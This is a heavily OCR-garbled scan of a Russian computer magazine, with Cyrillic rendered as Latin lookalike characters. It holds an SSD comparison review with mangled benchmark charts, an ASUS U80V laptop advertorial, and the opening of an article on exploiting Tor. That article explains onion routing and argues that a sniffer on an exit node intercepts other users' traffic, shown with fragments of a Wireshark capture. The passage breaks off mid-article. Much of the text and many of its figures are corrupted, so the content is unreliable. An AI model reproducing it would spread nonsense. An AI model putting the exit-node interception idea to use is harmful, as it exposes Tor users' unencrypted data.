¢ M0, canas«n AnNa MOHTAXa B TPEXAK0MMOBLIN OTCeK, NepexoiHUK [ MuTa-
Hus v nposog SATA. KaMnnekTaums oTHioAs He BefiHas.

3anaHs KpoeTCA He B KOMMUIEKTE NOCTABKN 1 He B POW3BOAWTENS, 3 B
ckopocTv pabots yetpoiicTea. OHa, MArko rosops, Ke camas Belcokad. dnck
Kingston V Series 128 nokazan A0BONLHO CKPEMHBIN PE3YNLTaT B TeCTE Ha
Cny4aiHBI OCTYN K YTeHuio, a Takke Bbin nocnefHUM B TecTe Ha IMHEHOR

YTEHKE
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16000 pyé.

0CZ TECHNOLOGY
Vertex Series

TEXHWYECKUE XAPAKTEPUCTUKMN:
EMKOCTb, TB: 120

DOPM-DAKTOP: 25"

WHTEPDEWC: SATA-II

3AABEHHAS CKOPOCTb YTEHMA, MBAIT/C: 250
3ASBIEHHAS CKOPOCTb 3AMUCH, MBAWT/C: 180

.

CaM Npou3BoAUTeNb Mo3uLMOHUPYET HEKOMUTENW 3TOW Cepuk Kak BuicTphie

w gocTynHsie. Monpobyem pazobpatees, Tak nv 370. C nepsLIM NyHKTOM
npobnem HeT, Luck fgeicTenTensHo pabotaeT beicTpo. OH 3aHsa Nepeoe MecTo
8 PCMark ogcknx tectax Virus Scan, Linear Read v File Write. C y4eTtom Toro,
UTO 38NKUCH W IUHEMHOR YTEHWE — 3TO OJIHW U3 CaMbIX YaCTO COBEPLUARMbIX
onepaLwii, a TakKe To, YTo B noaasnsiollem GonbinHcTse apyrvx tecto 0CZ
Technology Vertex Series 120 cosceM HemHoro ycTynun buicTpomy A-Data
SH%2, Mel nprcyannu eMy TuTyn «Belbop pepakuymmns»

Ecnueco CKOPOCTLH, 3a9BNeHHON npovssognTenemM, BCeé HOpManbHo, T0C

[OCTYHOCTbIO BbIXOAWT ABHAA HeyBs3ka. CTOMMOCTE YCTPOCTEE BbiCOKa, —
Tr V1F86EH;IT,EI|MCKOEUFO NPOCTPaHCTBA CTOUT OPOXKE, HEM Y OCTalIbHbIX ydac-
THWKOB CErogHalHero TecTa. KcTatu, roBops 0 CKOPOCTH, HENb3# HE YNoMs-
HYTb, 4TO B TECTE Ha BpeMa 3anuck B NpokasonsHoe mecto OCZ Technology
Vertex Series 120 3aHAN TONLKO YeTBEPTOE MECTO.
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SAMSUNG
MMDOES6GSMXP

TEXHWYECKUE XAPAKTEPUCTUKMN:
EMKOCTb, TB: 256

GOPM-OAKTOP: 2,5"

WHTEPDENC: SATA-II

3ASIBNEHHAS CKOPOCTb YTEHUSA, MBAWT/C: 220
JAAB/IEHHAS CKOPOCTbL 3ANMCH, MBAIAT/C: 200

“

B atom HakanuTene yCTpaHEH O0WH M3 FNaBHLIX TEKYLLWX HEQOCTATKOE
SSD-AMCKOB, KOTOPLIE MEWaIoT UM 3amMerunTs coboit HDD. A nMeHHD, oH
MMEET BNoJHe Npruemaemelii obbem — 256 6. 3710 fokaswieaeT, ytoy SSD ectb
Byaylee, npuyem BeckMa cBeTnoe. HecMoTps Ha BbiCOKyI0 LEeHY AeBanca,
CTOMMOCTb OAHOIO rurabaiTa MH(:DUDMHLLHVI. No CpaBHEHWID C APYTrMMUK yHac-
THAKSMK TECTUPABAHKS, He 04eHb Bbicoka [cneacTere Bonbluoro obbemal.
CKODOCTHE%E XapaKTEpMCTV]KM HENMNOXK, — HaHpMMeD, BTECTE Ha BpDMﬂ
noctyna Ha 4TeHWE NOKa3aHo MUHKMaNbeHOE BPEMA. KPDMETDFU‘ 3adBJ/ieHHbIE
NPOUIBOAMTENEM CKOPOCTW UTEHWSA WU 33MUCK NPEKTUYECKY HE pa3nvyaloTcs,
YTO 40BOJIbHO-TaKK VIHTepeCHO. ﬂpaeﬂ,a, no pesyneratam [/ICCJ'IB,L\UBEIHVH:’I Mbl
Nay4YIN HECKONLKO DONBLLKUIA MIOT, HO 3T0 Y2Ke He Tak CTPaLlHo.

HecMoTpA Ha MPOAEMOHCTPUPOBAHHOE MUHYMATIEHOE BpEM#A JAOCTYNE Ha Cy-
yafiHoe YTeHue, pasbpoc Mexay MaKcMMansHEIM U MUHKMMASIbHEIM BDEMEHEM
[a He n1koBoe 3HaveHue) Bbin BennK. 310 3HaYWT, YTO B KaKUX-TO CUTYaLNAX
ycTporcTeo bynet paborate oueHs BbicTpo, 8 B ApyrUX — NPUTOPMaXUBaThL

BbIBO/Ibl

Tect nokaszan, 4to V>KE CEroAHA MHOMME MoNb30Ba-
Ten MoryT BoOCnoNbL30BdTeCH BCEMK MpekmMyLecT
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BamMun SSD-HakonuTenen. B HekoTopbix MOLeNsX
NOYTW MPEOAONEeHbI HEAOCTATKM TEXHONOT M —
HEBBLICOKMI 0BbeM 1 BLICOKas LeHa. Haneemcs, 41o
B CKOPOM BPEMEHYI OT HUX HE OCTEHETCA 1 Cneaa.

17000 py6.

TRANSCEND
15192GS5D255-M

TEXHWYECKWE XAPAKTEPUCTUKM:
EMKOCTb, M6:192

®OPM-OAKTOP: 2,57

WHTEP®ENC: SATA-II

3AABNEHHAS CKOPOCTb YTEHUSA, MBANT/C: 150
3ASIBNEHHAA CKOPOCTb 3ANMCH, MBAMT/C: 90

3

OueHb MHTEpeCHoE YCTPOWCTBO. HecMoTps Ha To, 4TO 06beM MeHbLe, UeM Yy
n3fenus Samsung, CTOMMOCTb OfiHOro rurabarTa gaxe meHsiwe, Arurabait
Y HEro 40CTaTOYHO — 3T0 OAMH W3 ABYX YHaCTHWKOB, UMEOLLNX EM KOCThb
Gonee 128 6. Kpome Toro, BTectax Virus Scan, XP Startup, General Usage

w Application Leading 13 komnnexra PCMark 05 nponemMoHcTpupoBaHs
BECbMa NPUNKYHbIE pe3ylbiaThl. PeBiOMMpyeM: XDDOIJ.WIM Oﬁ'heM, HeBbICOKad
ueHa ofHoro rurabaiita u HeNNoxas CKOpoCTb.

Brpouem, Co CKOPOCTLIO HE BCe TaK 0fjHO3HAYHO. Pe3ynsTaTsl MHOTUX TECTOB
npocto yapydatowme. K Him, Hanpumep, otHocktesi PCMark 05 Write File
Transcend, roe c nokasatenem 38.3 M6\c Transcend TS19265S5D255-M
3aHan nocneaHee Mecto. Tectsl 3anucn u tect s PCMark 05, umutupyiouien
0BblYHyI0 paboTy aucka, ycTpoicTBO Takxe Nposanuno. Buanmo, xopouine
nokasaTesu B pyrviX TECTax M3 3Toro NakeTa nonyyeHsl Gnarogaps npasmib-
HoMmy ucnens3oBaHnio bydepa.

3a chanaHcuposaHKble xapakTeprcTiim «Jlyyiiei
rokynkoi» ctaHoBnTeA A-Data 5592, a bonee ObicT-
piii v goporov OCZ Technology Vertex Series 120
['6 nony4aet npuz «Bribop pegakuyi» 3¢
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PCMARK 05 — XP STARTUP

EVEREST LINEAR READ

L J

KingstonV

A-DataS592128Gb

Intel SSDSA2MH0806G15E 80 Gb

KingstonV Series 128 Gb

0CZTechnology Vertex Series 120 Gb

Samsung MMDOE56G5MXP 256 Gb

Transcend TS192GSSD255-M 192 Gb
M6aiit/c O 20 40 60 80 100

A-DataS$592128 Gb

Intel SSDSA2MH080G15E 80 Gb
Kingston V Series128 Gb

0CZ Technology Vertex Series 120 Gb
Samsung MMDOE56G5MXP 256 Gb
Transcend TS192G55D255-M 192 Gb

cpemHee mHumyM akcumyw  MBaAT/c 0 50 100 150 200 250 300

P—Data

CZ Techn

HecMmoTpsa Ha bonee HU3KKMe pe3ynbTaThl
B 0CTafbHbIX TecTax, B 3ToM nuanpyeT Intel SSDSA2MH0O80G 15E

PCMARK 05 — APPLICATION LOADING

Cambiit Hepgoporoi guck (Kingston V Series 128 [6) sanumaet camoe
nocnegHee MecTo

EVEREST RANDOM READ

A-DataS592128 Gb

Intel SSDSA2MH080G15E 80 Gb

KingstonV Series 128 Gb

0CZ Technology Vertex Series 120 Gb

Samsung MMDOE56G5MXP 256 Gb

Transcend TS192G55D255-M 192 Gb
M6auT/c

o

20 40 60 80 100

A-Data 5592128 Gb

Intel SSDSA2MH080G15E 80 Gb
KingstonV Series128 Gb

0CZ Technology VertexSeries 120 Gb
Samsung MMDOE56G5MXP 256 Gb
Transcend TS$192GSSD255-M 192 Gb

M6aiit/c 0 50 100 150 200 250 300

- -
cpegHee MWUHUMYM Makcumym

W chora uzpenue Intel onepexaer KoHKkypeHToR. BoaMoXxHo, feno e
cneuwnansHon onTMMUsaumm nog beictpoiv ctapt 0Cu M0

PCMARK 05 — GENERAL USAGE

XOPUIJ_IO BUAHO, KaKk MaKCMManbHble M MUHWMaNbHbIE NOKa3aTenn MoryT

pasnn4atbCcq

EVEREST LINEAR WRITE

A-Data 5592128 Gb

Intel SSDSA2MH080G15E 80 Gb

KingstonV Series128 Gb

0CZTechnology Vertex Series 120 Gb

Samsung MMDOE56G5MXP 256 Gb

Transcend TS192GSSD255-M 192 Gb
Mbaiit/c

o

10 20 30 40 50 &0

A-DataS592128Gb

Intel SSDSA2MH080G15E 80 Gb
KingstonV Series128 Gh

0CZ Technology Vertex Series 120 Gb
Samsung MMDOE56G5MXP 256 Gb
Transcend TS192GS5D255-M 192 Gbh

o HES Ny ey Mbaitfe 0 B0 160 /150 200250300

3TOTTECT, FAE NUAUPYIOT HAlWK NnobeanTenn, [OKa3bIBAET, YTO OHU He 3PS
MOAYYMIN Harpab

=2— | PCMARK 05 — VIRUS SCAN

Jlupepsl Bnepenu. 370 eAUHCTBEHHBIN TECT,
KoTopoe npoeanuno uzaenue Intel

H2BENCHW RANDOM ACCESS READ

A-DataS592128Gb

Intel SSDSA2MH080G15E 80 Gh

KingstonV Series 128 Gb

0CZ Technology Vertex Series 120 Gb

Samsung MMDOE56G5MXP 256 Gb

Transcend TS192G55D255-M 192 Gb
M6ait/c

ingston V

o

50 100 150 200 250

A-DataS592128 Gb

Intel SSDSA2MH080G15E 80 Gb
KingstonV Series128 Gb

0CZ Technology Vertex Series 120 Gh
Samsung MMDOE56G5MXP 256 Gb
Transcend TS192G55D255-M 192 Gb

cpeghee MVIHMMyM MaKcuMyM Mc 0 005 0,1 0,15 0,2 0,25 0,3

Ewle ofHO [,0Ka3aTENBCTBO TOTO, YTO AIMAEPLI CTANIW TAKUMM 3aCYXKEHHO.
Ouck Transcend Taikoke NoKasan xopoLwuii pesynsTar

PCMARK 05 — FILE WRITE

Jlupepwi Tecta — nupepsi 063o0pa

H2BENCHW RANDOM ACCESS WRITE

A-DataS5592128Gb

Intel SSDSA2MH080G15E 80 Gb
KingstonV Series 128 Gb

[l 0CZTechnology Vertex Series120Gb
Samsung MMDOES6G5MXP 256 Gb
Transcend TS192GS5D255-M 192 Gb

-
1

MGait/c 0 50 100 150 200 250

A-DataS592128Gb

Intel SSDSA2MH080G15E 80 Gb
KingstonV Series 128 Gb | N
0CZ Technology VertexSeries 120 Gb fo
Samsung MMDOE56G5MXP 256 Gb
Transcend TS192G55D255-M 192 Gb
CpeqHee  MUHWMYM MaKCHMyM Mc 0 100 200 300 400 500 600

nEthie MecTa cCHOBa gocTaloTca nobeguTenaM cerogHslIHero Tecta

» 022

JNnpepebi Tecta — nupepsi 063opa
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H N PENR YEPEHKOB

ASUS US0V

KoMnaKTHbIA M Npon3BoAMTENbHbIA HOYTOYK A151 paboThl
Kak n gpyrue Hoytbykmn U-cepum, ASUS UBOV cneayeT koHuUenLmnm
Thin&Light, rnaBHag naesa KOTopoi 3akNYaeTcs B MakCMMaibHOM YMEHb-

LeHnn rabapuToB M Beca HoyThyka be3 yuepba 019 NpoM3BOAUTENLHOCTH,

SProOHOMUKW 1 MobunbHocTn. C TeM, HaCKOJIbKO 3TO YOaJ/10Cb CAEJaThb,

Mbl 1 pa3bepemcs.

" Centrino

inside”

Nuwin 3Hak
In’gel
Inside®

HauaTtb Hago c Toro, 4to ASUS UBDY — pelicTEMTENLHO MoWHAg Ma-
WKHa, NOCTROEHHas Ha base coBpeMerHON NPOLEeCCOPHOR TeEXHON0-
rvv Intel® Centrino® 2. Cyaum cam: 4 6 namath, MowHslM MOB ML~
Helli npoueccop Intel® Core™ 2 Duo T9550 c yactoton 2,66 My w
nponssoauTensHoe rpapuyeckoe aapo ATI MR HD4570 c 512M6
BUAeonaMaTh. Tak xe B 3ToM HOYTBYKE MCNONb3YeTCH HOBEA MaTpuUa
cLED-necacBeTkoi u pasMepom 1366x768 nukcenen. Ora spye, Ha
30% nerde v 3Ha4qnTensHo skoHoMHee XK-2kpanos Npeas Ay
NoKaneHuH. Huxe Mbl pasbepemcs U 0TMETHM BCE OCHOBHbIE ¢ LKW
HoyTa.

b 024

3PFOHOMMKA

Ecnv otbpocuTts cybLekTUBHEIE BELLM BPOAE OLEHOK BHELWHETO BUAA,

HEN53A HE OTMETUTH COBEPLIEHHO 0BBEKTUBHBIN aKkT, yTo uHxeHepsl ASUS
yaenunu 6oablloe BHMMaHWe BoNpocaM 3proHoMuKM 1 paboTaTh 3a 3Tk
HOYTOYKOM NerCTBUTeNLHO YAOBHO.

UBOY obnapzer k1aBnaTypori C pasaesHsIMK KIaBULLEaMA, UMEDLLLM-

MK USTKIIA, HO MNaBHbIU W BecluyMHbIi xog. KnaswaTypa obopynosaHa
\'\U,ﬂCBE‘TKOﬁ CTPEMA YPOBHAMMKM APKOCTK, HTO HE TOJILKO KNaCCHQ BbIMNAANT
BTEMHQTE, HO 1M peansHao nomoraet B paborte. PerynupoBka spkocTy akpaHa
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XAPAKTEPUCTUKM
* [IpoueccopHas TexHonorua Intel® Centrino® 2
* [poueccop: Intel® Core™ 2 Duo T9550, 2.66 'TLy, 6

M6 keww L2. Moppepxka TexHonorvii Enhanced Intel®
SpeedStep, Intel® EM6AT, Intel® Virtualization
Technology 1 Execute Disable Bit.

e OnepaTueka: 4 (6 (nee nnaHkuno 2 6]
e HDD: 32016

e Buoeokaprta: ATI MR HD4570 512M6b

o Ncnnei: 14" LED, 1366x768

o WLAN:802.11n, Bluetooth

o Mblillb B kKauecTBe boHyca

¥ NOLCBETKW MOXKET BbINONHATLCA aBTOMATUYECKM: CMelMansHbIiA AaTUK
NOCTORHHO OLLEHMBAET OCBRLLEHHOCTL VM BC/IW, HAMPpUMep, BEYEepoM BbIKITH-
UMTCH CBET, NoACBeTKa aBToMaTHIecKy Bko4uTes. Camo cobold, ynpasnaTs
ITUMM JENAMM MOXHO U B pydHoM pexknme. OTAeneHa XOUeTCA OTMeTITS
Taynag c nonHOUEHHOM peannzaumnei GyHKLUWI My bTUTaua 1 3abaBHoON
MOACBETKON. Tenepb Thl MOXELLb CKPOUTL JOKYMEHTH! ABYMS NanbUamMu 1
MIHOBEHHO M3MEHATL MacLUTabupoBaHVe JOKYMEHTOR.

13BaBKTbeR [0Ma OT NPOBOA0E — AaBHAsA MeyTa nboro ruka. ¥ speae
MeYTa-TO OCYLLECTBMMARA, Jja BOT ToNbKO cTapeiid nobpeli Wi-Fi, a sephee,
cradnaptel 802.11b 1 802.11g, NONHOLEHHO BOMAOTUTE 3TY MEYTY B KU3Hb
Tak W He cMornu. Ecnu ckonvipyelus no TakoMy coedHeHuio Guasm s HD-
Ka4eCcTBe W MpY 3TOM He 3aCHellb, NpYe3xail B peakuuio 3a Meanso.
Coscem fipyroe geno — cTangapt 802.11n, KoTopLIA KaK pas W NoAAEpXKM-
saeTcd aganTepom HoyThyka UBOV. 310 peansHbii Bonyc! Hrkakix wytok
1 HUKakoro mapkeTuHra: PEATIBHBIE 70 MauT/cex no BecnpoBogHomMy
coeamuHeHwio Tebe obecrneverbl!

Pl ET™ 2

| B ] \ . L A “ L8
B HoyTbyke ycTaHoenen npoyeccop Intel® Core™ 2 Duo T9550, pabotate-
LM Ha YacTote 2.66 [Ty 1, kpoMe Bcero npoderc, NodaepKueanWmi Ase
0UeHE MHTEPECHBIE DUpMeHHbIe TexHonormy Intel:

* [ntel® Virtualization Technology

* Execute Disable Bit

Intel® VT — TexHonorua annapaTHoi BUPTYanu3aUunu, KOToPaa 3HauMTeNb-
Ho yckapsaeT pabory BMpTYanbHbIX MalLWMH. YYUTBIBAR 8LLE U BHYLIWMTENbHbIN
0bbem NaMsTK, Ha 3ToM HoyTOyKe Dea npobneM pasMecT1TCa Napoyka roc-
TEBLIX ONEPaLMOHHbIX CUCTEM W Thl CMOKELLL NPOBOANTE CamMble beaymHble
onbiTsl, He Bosacs NoBpeauTs ocHoBHYyIo OC.

Y7o e kacaetca Execute Disable Bit, 1o sT0 cneuuManbHaa aHTUBKPYCHas
TEXHONOra A9 NPaTUBOCTORHUA BPELOHOCHOMY COPTY, NCNOMb3YIOULEMY
owwnbku nepenonHeHus bydepa. [Npu pabote 370/ TeXHONOr MK CTPEHKMLbI
NaMATH, NPEeAHA3HAYEHHBIE ANA XPaHEHWA AaHHbIX, METATCA CNeLWansHblM
XD-B1TOM, 32MPELLAI0LWIAM BEINOAHEHWE KOAE C 3TOW CTP2HKLbI B pesyne-
Tare, A2Xe eCnu KaKoMy-Ta CrUI0ATY yAACTCA MepeanucaTh yHacTak naMaTu
¥ MepefiaTh Ha Hero BhINONHEHWE, BREADHOCHbI Kof He ByaeT ncnonHex
V3-3aTOrO, YTO CTPaHMLA NaMaTi romeyeHa XD-Grtam.

f'i =1A9 0=
BumecTe ¢ HoyTBYKOM MoCTaBAAeTCA MHTEpecHas copTrHa ASUS
SmartLogon, vaeHTudnLKMpyIoLLan YenoBeka no sobpaxernio ero nuua,
MOMyYaemMoro Co BCTPOeHHO M web-Kkamepsl. [Tocne ycTanosku nporpam-
Ma NO3BOANT TOMTMHWTECA B BUHLY OOHWM NNLLE E3TNTALOM. C nomouibio
oByyaembix anropuTMoB, SmartLogon noBko Beigensaet u3 uzobpaxerns
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oYepTaHMa AULA M CpaBHKBaeT ¢ obpasuamu, nocie Hero paspetiaer nubo
He paspewaeT logon & cuctemy. Camo coboi, nepea paboToii Hafo Byaer
Kak cneayet obyunTs cucTeMY, CAeNas HeCKobKo COBCTBEHHBIX CHUMKOB B
pasNnyHbLIX yCIOBUAX.

EXPRESS GATE

Kak u apyrie Hoytbyku U-cepuu, B UBDV peanwzosaHa TexHonora Express
Gate, nozBongAoWan o4eHb BbICTPO 3aTPyKaTh BCTPORHHYIO ONEPauMoHHYI0
cucTeMy, 0cHOBaHHYIO Ha Linuxe. Express Gate nerxo v buicTpoycraHaenmea-
eTcs Ha nioboit ,D,OC'I'y\'IHbH;W pasgen, MHCTanNATop nilbs pas MECTHUT HA HEM HE-
CKOMLKO CBOMX cyKeBHEIX daiinos. B uTare Tal Nofy4MLLb Nerkyio onepaumoH-
HyIO CHCT@MY, KOTOpast 3allyckaeTcs 3a 8 cekyH/ v npefocTaenser Bce basosble
BO3MOXHOCTW ANs paboTsl: Bpaysep, Skype, AOCTYN KNOKaNbHBIM paiam.
ECnvi ke BO3HUKHET XenaHKe HEMHOTO MoKONaThes pykami, MOXHO ByaeT
PACLUINPUTH CTICOK NpUAokeHWi. [leno B ToM, YTo BCK MHGopMaunio
Express Gate xpatuT B haiinax sqx/.idx/ bin 8 paznene, KoTopsiii Beun yka-
3aH npy ycraHoeke. SAX-daiine — He uTo MHOE, Kak KoHTelHep AN CkaToi
daiinoeoi cucteMel squashfs sepcum 3.0, a paboTath € HUMK MOXKHD C MOMO~
L{bio yTANTBI squashfs-tools. B a1oT apxmne MoxHo nerko ao6asuts mioboi
BuHapHuk, cobpartbli nog Debian. Tonsko Hapo He 3aB6ITe OTKIIOHMTH
MPOBEPKY LIeNOCTHOCTA CUCTEMBI, ANA HYEr0 H3A0 NOANPaBNTL palin version ¢
mdb-xellamy cucteMHbix Galnnop.

BoobLue, kak Hu kpyTu, a Mofensy ASUS Belluna oueHb yaadHas. [Jaxe ecnu
He DpaTb B pacyeT MHTEPeCHbIe HOBDEBEEHUA, Mbl NONYYaeM OTIMYHbIN

1 npopaboTarHbiil HoyTByK. BaATs xoTa Bbl pacnonoxerne USB-nopros,
KOTOpble pa3HECEHbLI N0 Pa3HbIM KpaaMm Kopnyca, yTobhl He MEeLIaTECA Apyr
apyry. [loma s Hacnaaunca eLLle OGHUM MPENMYLLIECTBOM Takmx HOYTOYKOB,
noaxkniodne US0Vg k Tenesusopy, ucnonssys HDOMI-paswem. HuHa ogHoM 13
MOMX MaNEHbKIUX KOMMETEPOE TAKOM BO3MOXHOCTH He Bbino ).

Hoyt ASUS UBOV — otnwyHas Malwmnnka Ana paboTsl v nofoiaeT Beem, KoMy
HY>KeH MOLLHbIIA HOYTDYK U NpK 3TOM YacTo MPUXCAUTCS NepeMeLLaTbes:
Hebonblwon Bec u guaroHans 14" He nocTagaT bonswrx npobnem.

[1py 3TOM MPOU3EOAUTENBHOCTH TOUHO XBETUT HE TONLKO N5 KaXA0AHEBHOM
paboTbl, HO M BAS YBEPEHHOTO 3anycka Heckobkux rocteseix 0C Ha base
VMWare, n gns bonblunHeTsa urp.

g TRENDCLUB

MNonpobHee o HoyTBykax ASUS cepum U v opyrix rafpketax Bbl MOXeTe
Lut Trend Club —
JMCKYCCUOHHBIA K1y ANA Tex, KTO MHTepecyeTCs NPOrPeccomM v 3alyMbiBa-

Y3HaThb B HOBOM NCKYCCHAOHHTM COOﬁHLECTEe Ha trend

etcs o Byoyuiem. YuactHukw Trend Club oBeysxgalor TexHUYeckne HoBUHKHY,
MHGOPMALIMOHHEIE TEXHONOT MK, GYTYPONCTMIO 1 [pyrie TeMbl 3aBTPaLLIHErD
aHa. Trend Club nogaepxmeaertcs komMnakuamu Intelu ASUS u nposogmnt
PEryApHLIE KOHKYPCHI € LIEHHBIMU NPU3aMu.

Kopnopauws Intel, Beayuymil MUPOBOH MPOM3BOAKMTEN MHHOBALIWOHHbIX M0~
NYNPOBOAHUKOBbIX KOMNOHEHTOB, pa3pabaTteiBaeT TexHonory, NpoAyKLinio
W UHWLKETUELI, HAMPaBReHHEIE Ha NOCTOAHHOE NOBbIWEHWE Ka4ecTBa Xn3-
HU 002 M COBepLUEHCTBOBaHMUE MeToaos x paboTel. [onosiHnTensHyio
MHpopMaLMio 0 kopnopatui Intel moxro HakTy Ha Web-cepeepe koMnaHum
Intel [htip MW It Lcam. Ang
MoNY4eHKUA AONOJHUTENLHOM UHGOPMaLMK 0 peiiTuHre npoueccopos Intel

ru), aTakke Ha caite hitp://blogs.in

noceTuTe calt www.intel riu; =

ng. T
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Binioyaem Tor

3acTaB/iAeM aHOHMMHYH CeTb paloTaTh Ha HalLM XaKePCKHUe Lienu

ECJIA Tbl CYUTAELLD, 4TO TOR — 3T0 UCKNOYUTENBHO CPEACTBO AN1A1 OBECMEYEHUA NPU-
BATHOCTH B CETH, TO Thl HENPAB 1BAX([1bl. BO-MEPBbIX, EE PACNPEAENEHHYIO CETb MOXHO
UCN0JIb30BATb B CAMbIX PA3HBIX LIE/IAIX. A, BO-BTOPbIX, HE TAK' Y} OHA BE3ONACHA, KAK
3T0 NPUHATO PEKJIAMUPOBATD. ‘
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~——> 3AILMDPOBAHO

Tor, kaKk 3aMeyaTesibHbli MHCTPYMEHT Ans obecneyeHus aHo-
HUMHOCTM W COXPaHHOCTU JAHHbIX, XOPOLL N0 MHOTUM MPUYK-
Ham. Cpasy ocTaiTea He y fen niobbie CHUEps!, B ToM Yuche,
YCTAHOBNEHHSIS W HAa WHTEPHET-MaPLUPYTU3aTOPbI, NOTOMY Kak
Bech Tpaduk nepedaeTcs Yepes3 Uenaouky yanos, MCKIIoHUTENBHD
B 3aWu1ppoBaHHOM Buae. KpakHe 3aTpyLHUTENEHO UK, eClkn
MONHOCTBIO NOBEPKUTL paszpaboTyukaM, To Jaxe HEBO3MOXKHO
CTAHOBUTCH OTCAEAMTE WCTOHHKK OTMPEBKW AaHHLIX, bnarodaps
NOCTOSHHO MEHAIDLLUMCS LIeMoYKaM cnelnantHslx y3I10B-
fOCPeOHMKOB, Yepes KOTOpbie NepefanTcs gaHHble. Kio He
npobosan Mcnank3osate (o 4Tobsl baHanskHo cMeHnTs caoi IF?
MuHyc Ha nepssii B3 o4uH — ckopocTb paboTsl. Kaxaen
13 HOOOB, BXOASWMX B LLernoYKy, BHOCUT Cepbe3HyI0 3a/le DKy,
KaK 0 BPEMEHM OTKIWKE, Tak W BaHa/bHo Mo WWpKHE KaHana.
B pezynkTare Noiy4aes aHoHiMHoe coegiHerne. AHOHUMHOE U
mopemHoe :|. Ho gruananHbiil KOHHEKT — 3T0 He camas rasHas
npobnema akTMBHbIX Monk3oBaTenel Tor. [0pa3ao cunsHee ux
NOMXHO BOSIHOBATS, YTO N0bble faHHLIe MOXHO MNepexBaTuTs U,
YepT NOAepw, caenatk ato npocto!

OTKYZA BEPYTCA... HOJIbl

YroBbl nycTTs Tpaduk npuaoxeHus yepes Tor, 4OCTATOYHO
yka3aTs B HACTPOIKaX NpoKck — aapec nokansHoro SOCKS-

P

o
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KAK PABOTAET TOR: 1 LIAT
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COOBLUEHWSA, BbIJABAEMbDIE

[[WARNING |

> warning

[aHHada cTaTba He SB-
NAETCA UHCTPYKLMEH
WK NobyXaeHKeM K
gencrenam. OHa npu-
3BAHE NKLLL NNOKa33Th,
4TO A3KE NPOTrpaMMmel,
CO3JaBaeMble pajau
Bnarux uenen, MoryTt
DEITE MCNONB20BAKE
BO 3010,

mnts will not
ar, and Tor will ignare it

te praserved

enaugh t

enaugh

not enaugh &

naugh t

1d: circuits.

from the ou

TOR'OM NP NOAKNHYEHUN

cepeepa. B ciyyae, ecin Takoi BO3MOXHOCTH HE NPEaycMoT-
peHo, MOXHO MCNoab30BaTh cokcodukatop [Hanpumep,
Sockscapl, HO MOMHUTE NPK 3TOM, 4TO YEPEe3 COKC MOXHO
mycTuTh Tonbko TCP-Tpadwk. Bnpouewm, ans bonklwurHcTBE
none30Bateneil HamMHoro bonee uHTepecHs! ByayT roToBele
chbopku [1ak HazeieaeMble Bundles), sknwovatowne cawm Tor, a
Takxe npekoHpurypupoBarHele bpaysep Firefox u [M-knuenT
Pidgin. MocTtaeun u Bce pabotaet! Kctatu rosopa, 4ns H01b-
wero ygobcrea ans Firefox'a pcaﬂmoﬂau nnaruH Torbutton
[add ‘ ). WenkHyn — u seck
Tpagpuk besonacHo nepefaeTcs Yepes LEnoyKy NpoMexy-
TOYHbIX y3n0B-cepsepos. HTo Boobue npeacrasngoT cobon
3TW y3Mbl W Kak B NpuHLmMne ycTpoeH Tor? [onpobyem pazo
bpareca.
B ocHoBe TEXHOAOMMKM NEXUT pacnpeneneHHan cucrTeMa
Y3N0B — Tak Ha3biBaeMmblx Hog [Node], mexay koTopsiMi B
3awndpoBaHHoM BUAe nepefdaloTcs AaHHele. [Ins coegunte-
Hug 0BBIYHO MCNoNs3yeTCs TpY CepBepa, KoTopble abpasyioT
BpeMeHHyIo Uenauky. Kaxaplii cepsep BuiiupaeTcs ciydaii-
HbiM 06pa3oM, NpK STOM OH 3HaeT TONLKO TO, OT KAKOro 38eHa
nony4un AaHHble 1 KoMy OHU NpefHazHadakTes. Mano storo
LenoYKu NOCTONHHO MeHsaTeR. [axe B cnydae nepexparta
[I3HHbIX Ha OJHOM U3 CepBepoB, OTCAEAWTb MOMHbLIA MapLLpyT
nakeToe (B TOM YnCie U ux OTNpasuTens) He Npencraenserca
BO3ZMOXHEIM. [lepe oTrpaBneHremM nakeT NocnejoBaTensHo
LiKppyeTcs TpeMs KYamy: cHavana ana TpeTtseil Hoasl,
noTOM AN15 BTOPOW W, B KOHLIE KOHUOB, AnA nepsoi. Korga
riepsas HoAa MonyyaeT NaxeT, 0Ha paclunppoBLIBAET «BEPX-
HURA» cnoi Wudpa W y3HaeT, Kyaa oTnpaBKTe NakeT fanblie.
Bropoii n Tpetwii cepeep NocTynatoT aHanorvyHeiM obpasom.

Benew T lsau‘owg HE aaa
Fter T - e

P s ML. Seanb Akl MRS e

TP 4AHL - 19 LACKT Seg e seis Linco. Tova3sd
TP GET Atebruwtin s A dentarave ot Ruto- 1foris
TP Ruth s d9TAL TACK] Semel AckeS3T WineT30B Loned TSYal
HTP MTTRZLL 260K

TP 7L et !mu St A LIS A2 Laecy T50

g -
Yo ACK] ST ACkd WLnAETY L0 T30

2 HTTPIL.0
TATK] =1 Ack 114 Wirs S78 Lene 8.7
002 LT T IO T T T AT TP [P saguant ot 8 reavirasles
lnl 02, 025904 113,IM ¥ 194,109 206 213 P ATI0 = wttn (ACK] Sen 114 Ack-T060 Win-3800 Len-0 T3
1M BT IN10N00.20 TRLEGL20 HTIP WTT/L.0 200 0K (apatLcativn/ectet s1reon)

M3YYAEM OAMN CHUDEPA B WIRESHARK'E

[AE 3APBIJIACb COBAKA?

WTak, MapLpyT NocTofHHO MEHSAETCA, faHHbIE Yepes Npa-
MEXYTOYHEIE Y3Nbl NPOXOAAT B Buie bennbepasl, T.e. B
3awngpoBarHoM suae — rae ke nogeox? Ox ecTk. Bepk,
KaK cepbe3Ho Bbl HK 3aLMLLEAannCh aHHble, Kak M30LWPEeHHO
H1 BbIOKpancs v HW 3anyToiBancs MapLUpyT, BCe paBHo rae-
TO Ha BBIXOJE [IEHHbIE HYXHO pacLliMdpoBaTe U A0CTaBUTE
[0 MecTa HaszHadeHund. 3Ta onepauua ocyLLecTBNAETCA Ha
nociaesHeR Hode B LUenoyke — Tak Ha3blBAEMOW BLIXOAHOM
Hode [Exit Nodel, xotopas euanT Beck TpadKK «Kak ecTb».
Ecnu Ha TakoM y3ne ycTaHoBUTL CHUGpEp, TO AaHHbIM HUYero
Bonblie He 0CTaHETEA, KAK NPAMUKOM NOMNacTs B N0 1.

Tol MOXELUL MOAYMaTh, YTO CUCTEME TAKOTO MOJNIOXEHWS [N
He gonyckaeT W noaHaTe Tor onda paboTel B Ka4eCTBe BhiXOA-
HOW Hofbl Heso3mMoxHo? Elle kak moxHo! Boobuie, Bea cetb
